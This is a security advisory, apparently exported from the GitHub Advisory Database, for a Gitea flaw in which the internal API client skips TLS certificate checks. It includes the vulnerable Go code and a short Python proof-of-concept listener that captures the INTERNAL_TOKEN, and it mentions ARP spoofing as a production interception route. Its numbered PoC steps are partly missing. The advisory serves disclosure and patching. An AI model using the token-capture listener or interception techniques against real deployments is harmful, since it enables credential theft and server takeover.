code.gitea.io/gitea
Affected
- introduced
0, fixed1.27.0(semver)
Fixed versions
1.27.0
Fix
- Fixed version
1.27.0go get code.gitea.io/[email protected]
Advisory
Also known as: CVE-2026-54481, GO-2026-6048
Gitea: Internal API HTTP client hardcodes InsecureSkipVerify:true with no config override
Summary
Gitea's internal API HTTP client (modules/private/internal.go) hardcodes
TLSClientConfig.InsecureSkipVerify = true with no configuration override. It is the only
outbound TLS client in the codebase that cannot be made to verify its peer's certificate —
webhook, migrations, MinIO, LDAP, SMTP, Redis and incoming-mail all expose a secure-by-default
SkipVerify toggle, this one does not.
When an operator configures internal communication over HTTPS to a non-loopback target
(LOCAL_ROOT_URL=https://<host>/ in a split-host / multi-pod topology), the gitea serv / gitea hook
subprocess that calls the internal API will accept ANY TLS certificate. An attacker with on-path
position on that internal segment can MITM the connection and capture the static high-privilege
INTERNAL_TOKEN, which is the sole authentication for every /api/internal/* endpoint (server
shutdown/restart, SSH key authorization, git command execution, repo hooks, mail send, runner-token
generation).
Severity is deployment-dependent: High for split-host HTTPS deployments; Low/Informational for the
default single-host / unix-socket / HTTP-loopback deployment, where the call is loopback and not
interceptable without local access (which already exposes the token directly). This report is
rated for the affected configuration and the underlying defense-in-depth defect.
Details
Affected component: modules/private/internal.go
The internal API transport hardcodes certificate-verification bypass:
var internalAPITransport = sync.OnceValue(func() http.RoundTripper {
return &http.Transport{
DialContext: dialContextInternalAPI,
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true, // hardcoded, no config gate
ServerName: setting.Domain, // SNI only; NOT used for validation while skip=true
},
}
})
Because InsecureSkipVerify is true, ServerName is used only for SNI and any certificate (any CN,
self-signed) is accepted; there is no accidental safety net.
Verified exploit chain (read against main @ aab9737651, 2026-06-13):
Inconsistency / root cause: every other outbound TLS client is configurable and secure-by-default
(services/webhook/deliver.go Webhook.SkipTLSVerify; services/migrations/http_client.go
Migrations.SkipTLSVerify; modules/storage/minio.go MINIO_INSECURE_SKIP_VERIFY; LDAP/SMTP SkipVerify;
incoming-mail SkipTLSVerify). The internal API client alone is hardcoded insecure with no opt-out.
The InsecureSkipVerify line has been present since 2017 (#1471), so all releases are affected.
PoC
Goal: capture the live INTERNAL_TOKEN from a real Gitea subprocess call and replay it.
Note: a self-contained TLS test (e.g. Python ssl.CERT_NONE accepting a self-signed cert) only
restates the flag's definition and does NOT involve Gitea. The steps below exercise the real path.
# python3 rogue.py
import http.server, ssl, subprocess
subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-keyout","k.pem","-out","c.pem",
"-days","1","-nodes","-subj","/CN=127.0.0.1"], check=True)
class H(http.server.BaseHTTPRequestHandler):
def handle_one(self):
pass
def do_GET(self): self._h()
def do_POST(self): self._h()
def _h(self):
a = self.headers.get("X-Gitea-Internal-Auth","")
if "Bearer" in a: print("[!] CAPTURED TOKEN:", a.replace("Bearer ",""))
self.send_response(200); self.end_headers(); self.wfile.write(b'{"err":"","user_msg":""}')
def log_message(self,*a): pass
s = http.server.HTTPServer(("127.0.0.1",8443), H)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain("c.pem","k.pem")
s.socket = ctx.wrap_socket(s.socket, server_side=True)
s.serve_forever()
git clone ssh://git@<host>:<port>/owner/repo.git). sshd/built-in SSH execs gitea serv, which issues the internal API request to LOCAL_ROOT_URL and presents the token to the rogue listener.In a production split-host deployment, step 2 is replaced by on-path interception (ARP spoofing on
the shared segment, a malicious sidecar/pod, or DNS/route manipulation) rather than a localhost
listener; the client behaviour (trusting the rogue cert and sending the token) is identical.
Impact
Type: CWE-295 Improper Certificate Validation -> man-in-the-middle -> theft of the static
high-privilege INTERNAL_TOKEN -> full internal-API compromise.
High Basis: The source's own band: HIGH
0, fixed 1.27.0 (semver)1.27.0
1.27.0go get code.gitea.io/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0